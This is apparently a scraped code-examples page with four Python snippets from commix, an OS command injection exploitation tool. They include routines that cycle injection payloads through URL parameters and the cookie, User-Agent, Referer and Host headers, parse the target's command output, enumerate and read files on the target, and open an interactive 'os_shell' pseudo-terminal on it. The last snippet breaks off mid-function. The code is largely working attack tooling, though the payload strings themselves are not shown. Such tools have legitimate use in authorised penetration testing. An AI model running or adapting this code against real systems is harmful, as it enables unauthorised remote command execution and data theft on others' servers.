Пример #1
0
def injection_results(response, TAG, cmd):

    false_result = False
    try:
        # Grab execution results
        html_data = response.read()
        html_data = html_data.replace("\n", " ")
        # cleanup string / unescape html to string
        html_data = _urllib.parse.unquote(html_data).decode(
            settings.DEFAULT_ENCODING)
        html_data = _html_parser.HTMLParser().unescape(html_data).encode(
            settings.DEFAULT_ENCODING)

        # Replace non-ASCII characters with a single space
        re.sub(r"[^\x00-\x7f]", r" ", html_data)

        for end_line in settings.END_LINE:
            if end_line in html_data:
                html_data = html_data.replace(end_line, " ")
                break

        shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ",
                           html_data)
        if not shell:
            shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "",
                               html_data)
        if not shell:
            return shell
        try:
            if TAG in shell:
                shell = re.findall(r"" + "(.*)" + TAG + TAG, shell)
            # Clear junks
            shell = [tags.replace(TAG + TAG, " ") for tags in shell]
            shell = [backslash.replace("\/", "/") for backslash in shell]
        except UnicodeDecodeError:
            pass
        if settings.TARGET_OS == "win":
            if menu.options.alter_shell:
                shell = [right_space.rstrip() for right_space in shell]
                shell = [left_space.lstrip() for left_space in shell]
                if "<<<<" in shell[0]:
                    false_result = True
            else:
                if shell[0] == "%i":
                    false_result = True

    except AttributeError:
        false_result = True

    if false_result:
        shell = ""

    return shell
Пример #2
0
def injection_test_results(response, TAG, randvcalc):
  if response == False:
    return False
  else:
    # Check the execution results
    html_data = response.read().decode(settings.DEFAULT_ENCODING)
    html_data = html_data.replace("\n"," ")
    # cleanup string / unescape html to string
    html_data = _urllib.parse.unquote(html_data)
    html_data = _html_parser.HTMLParser().unescape(html_data)
    # Replace non-ASCII characters with a single space
    re.sub(r"[^\x00-\x7f]",r" ", html_data)

    if settings.SKIP_CALC:
      shell = re.findall(r"" + TAG + TAG + TAG, html_data)
    else:
      shell = re.findall(r"" + TAG + str(randvcalc) + TAG  + TAG, html_data)
    if len(shell) > 1:
      shell = shell[0]
    return shell
Пример #3
0
def cb_injection_handler(url, timesec, filename, http_request_method):
    shell = False
    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False
    injection_type = "results-based OS command injection"
    technique = "classic command injection technique"

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL >= 1:
            print("")

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    if whitespace == " ":
                        whitespace = _urllib.parse.quote(whitespace)
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.CLASSIC_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print(settings.print_critical_msg(err_msg))
                            raise SystemExit()

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = payload.replace(" ", whitespace)

                            # Perform payload modification
                            payload = checks.perform_payload_modification(
                                payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print(settings.print_payload(payload))
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating a payload for injection..."
                                print(settings.print_info_msg(info_msg))
                                print(settings.print_payload(payload))

                            # Cookie header injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie header injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent HTTP header injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent HTTP header injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer HTTP header injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer HTTP header injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Host HTTP header injection
                            elif settings.HOST_INJECTION == True:
                                # Check if target host is vulnerable to host HTTP header injection.
                                vuln_parameter = parameters.specify_host_parameter(
                                    menu.options.host)
                                response = cb_injector.host_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, timesec)

                            # Evaluate test results.
                            time.sleep(timesec)
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if float(float_percent) >= 99.9:
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except EOFError:
                            err_msg = "Exiting, due to EOFError."
                            print(settings.print_error_msg(err_msg))
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.HOST_INJECTION == True:
                            header_name = " Host"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            if not settings.VERBOSITY_LEVEL >= 1:
                                print("")
                            else:
                                checks.total_of_requests()

                        # Print the findings to terminal.
                        success_msg = "The"
                        if len(found_vuln_parameter
                               ) > 0 and not "cookie" in header_name:
                            success_msg += " " + http_request_method + ""
                        success_msg += ('', ' (JSON)')[settings.IS_JSON] + (
                            '', ' (SOAP/XML)'
                        )[settings.IS_XML] + the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print(settings.print_success_msg(success_msg))
                        print(settings.SUB_CONTENT_SIGN + "Payload: " +
                              str(checks.url_decode(payload)) +
                              Style.RESET_ALL)
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = _input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    #print("")
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print("")

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print("")
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    file_access_again = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    print("")
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print("")
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)
                                print("")

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print("")
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, timesec)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                gotshell = _input(
                                    settings.print_question_msg(question_msg))
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "y"
                            if gotshell in settings.CHOICE_YES:
                                if not menu.options.batch:
                                    print("")
                                print("Pseudo-Terminal (type '" +
                                      Style.BRIGHT + "?" + Style.RESET_ALL +
                                      "' for available options)")
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not readline_error:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = _input("""commix(""" +
                                                     Style.BRIGHT + Fore.RED +
                                                     """os_shell""" +
                                                     Style.RESET_ALL +
                                                     """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator,
                                                TAG,
                                                cmd,
                                                prefix,
                                                suffix,
                                                whitespace,
                                                http_request_method,
                                                url,
                                                vuln_parameter,
                                                alter_shell,
                                                filename,
                                                technique,
                                                go_back,
                                                no_result,
                                                timesec,
                                                go_back_again,
                                                payload,
                                                OUTPUT_TEXTFILE="")
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # Command execution results.
                                            time.sleep(timesec)
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, timesec)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                try:
                                                    shell = cb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    shell = "".join(
                                                        str(p) for p in shell)
                                                except:
                                                    print("")
                                                    continue
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                html_parser = _html_parser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                            if shell != "":
                                                print("\n" + Fore.GREEN +
                                                      Style.BRIGHT + shell +
                                                      Style.RESET_ALL + "\n")
                                            else:
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print("")
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print(
                                                    settings.
                                                    print_critical_msg(
                                                        err_msg) + "\n")

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                                    except EOFError:
                                        err_msg = "Exiting, due to EOFError."
                                        print(
                                            settings.print_error_msg(err_msg))
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                raise SystemExit()

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print(settings.print_error_msg(err_msg))
                                pass

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print("")
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Пример #4
0
from src.thirdparty.six.moves import html_parser as _html_parser
from src.utils import menu
from src.utils import settings
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.core.injections.results_based.techniques.classic import cb_payloads
try:
  import html
  unescape = html.unescape
except:  # Python 2
  unescape = _html_parser.HTMLParser().unescape
  
"""
The "classic" technique on result-based OS command injection.
"""

"""
Check if target host is vulnerable.
"""
def injection_test(payload, http_request_method, url):       

  # Check if defined method is GET (Default).
  if http_request_method == "GET":
    if " " in payload:
      payload = payload.replace(" ","%20")
    # Define the vulnerable parameter